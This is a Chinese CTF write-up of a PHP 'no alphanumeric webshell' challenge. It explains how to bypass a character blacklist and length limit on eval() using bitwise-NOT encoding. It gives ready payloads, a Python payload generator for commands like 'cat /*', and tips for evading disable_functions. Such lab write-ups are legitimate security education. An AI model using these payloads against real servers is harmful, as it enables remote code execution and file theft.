无字母数字 Webshell 绕过(writeUp)
一、 题目核心限制分析
php
<?php
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code)){
die("NO.");
}
eval($code);
}else{
highlight_file(__FILE__);
}
这类题目的核心逻辑通常是:给你一个代码执行的口子(如 eval),但封死你常规的输入方式。
本题有两大限制:
- 字符黑名单 :
preg_match("/[A-Za-z0-9_$]+/", $code)------ 禁用了所有大小写字母、数字、下划线_、美元符号$。 - 长度白名单 :
strlen($code) > 35------ 传入的字符串长度必须小于等于 35。
我们的目标 :在不使用上述字符,且极短的字数内,构造出类似 system('ls /'); 的有效 PHP 代码。
二、 核心破局原理:按位取反 (~)
既然不能直接写字母,那我们就让 PHP 自己把字母"算"出来。
1. 什么是按位取反?
在计算机中,字符以 ASCII 码存储。按位取反 ~ 就是将二进制的 0 变 1,1 变 0。在效果上,对于一个字符,取反相当于用 255 减去它的 ASCII 码。
- 字符
's'的 ASCII 码是 115。 ~'s'的 ASCII 码就是 255 - 115 = 140(十六进制0x8C)。0x8C是一个不可见的扩展 ASCII 字符,它不是字母,也不是数字,完美绕过正则!
2. 还原的过程
当 PHP 执行 ~"\x8C" 时,它又会把 0x8C 取反变回 0x73,也就是还原成了字母 's'。
利用这个原理,我们把目标字符串(如 system)的每个字符都取反,拼成一个不可见字符串,再在前面加上 ~,PHP 就能还原出我们想要的函数名。
三、 长度限制绕过:URL 解码的"障眼法"
很多人会疑惑:~"%8C%86..." 这么长,怎么小于 35 个字符?
这里隐藏着一个极其重要的 Web 基础机制:HTTP 请求的 URL 编码与 PHP 的自动解码。
- 在浏览器 URL 栏中 :你输入
?code=(~"%8C%86"),这里%8C是3个字符。 - 在 PHP 的
$_GET['code']中 :PHP 引擎会自动将 URL 编码解析为原始的二进制字节。%8C被解析为 1 个不可见字节。 - 在
strlen()计算时 :计算的是解码后的长度!所以~"\x8C\x86"的真实长度只有 1(取反符) + 1(引号) + 2(字节) + 1(引号) = 5 个字符。
这就是缩小长度的魔法所在。
四、 PHP 动态函数执行与版本差异
我们怎么执行取反后的结果呢?PHP 支持可变函数(动态调用)。
1. PHP 7+ 的写法(本题解法)
在 PHP 7 中,支持直接对表达式的结果加括号进行函数调用:
('system')('ls /'); 等价于 system('ls /');
结合取反,我们构造出:
(~"\x8C\x86\x8C\x8B\x9A\x92")(~"\x93\x8C\xDF\xD0");
2. PHP 5.x 的坑
在 PHP 5 中,不支持直接对表达式加括号调用 。你必须先将表达式赋值给一个变量:$a = ~"\x8C..."; $a('ls');。
但这道题的正则过滤了 $,导致无法声明变量!因此,这种取反绕过方法是 PHP 7 的专属特性 ,在 PHP 5 环境下会报 unexpected '(' 的致命语法错误。
五、 实战利器:Payload 自动生成脚本
手算取反是不现实的,在 CTF 比赛中,必须拥有自己的快速生成脚本。
python
# PHP 取反绕过 Payload 生成器
def generate_payload(func, arg):
# 对函数名取反,生成 URL 编码格式
func_negated = "".join([f"%{255 - ord(c):02X}" for c in func])
# 对参数取反,生成 URL 编码格式
arg_negated = "".join([f"%{255 - ord(c):02X}" for c in arg])
# 拼接完整的 PHP 执行语句
payload = f"(~\"{func_negated}\")(~\"{arg_negated}\");"
return payload
# 示例:执行 system('cat /*');
print(generate_payload("system", "cat /*"))
(注:参数中使用 /* 通配符是缩短长度的神技,可以代替长长的文件名)
六、 避坑与排错指南(实战总结)
坑 1:环境差异导致的无回显(Windows vs Linux)
- 现象:Payload 提交后页面一片空白。
- 原因 :本地小皮面板是 Windows 环境,而你构造的命令是
ls。Windows 的 CMD 不认识ls命令,system()执行失败直接返回空。 - 排查 :换成 Windows 和 Linux 通用的命令测试,如
whoami或dir。正式打比赛时,目标是 Linux 服务器,ls就会生效。
坑 2:危险函数被禁用(disable_functions)
- 现象:命令正确,环境也对,但还是空白。
- 原因 :服务器的
php.ini中开启了disable_functions,把system、exec等执行系统命令的函数拉黑了。 - 排查 :
- 先用
(~"%8F%97%8F%96%91%99%90")();(即phpinfo();)测试。如果能看到 PHPINFO 页面,说明取反绕过逻辑完全成功 ,只是system被禁了。 - 替代方案 A :尝试其他未禁用的命令函数,如
passthru。 - 替代方案 B :放弃系统命令,使用纯 PHP 内置函数读取文件,如
echo file_get_contents('/flag');,将其转换为取反 Payload。
- 先用
💡 核心思维导图总结
text
无字母数字 Webshell
├── 核心思想:异构运算(把明文变成黑名单外的乱码,再让引擎还原)
│
├── 绕过正则:按位取反 (~)
│ └── 明文字符 -> 不可见字符 (绕过正则) -> 引擎取反还原 (执行代码)
│
├── 绕过长度:利用 $_GET 自动 URL 解码
│ └── URL中的 %XX (3字符) -> PHP中为 1字节 (大幅缩短长度)
│
├── 执行方式:PHP7 动态函数调用
│ └── (~"函数取反")(~"参数取反");
│
└── 排错思路:
├── 语法报错 -> 检查是否低于 PHP 7
├── 无回显 -> 检查是否在 Win 下执行了 Linux 命令
└── 仍无回显 -> 检查 system 是否被禁,尝试 phpinfo 测试或换用文件读取函数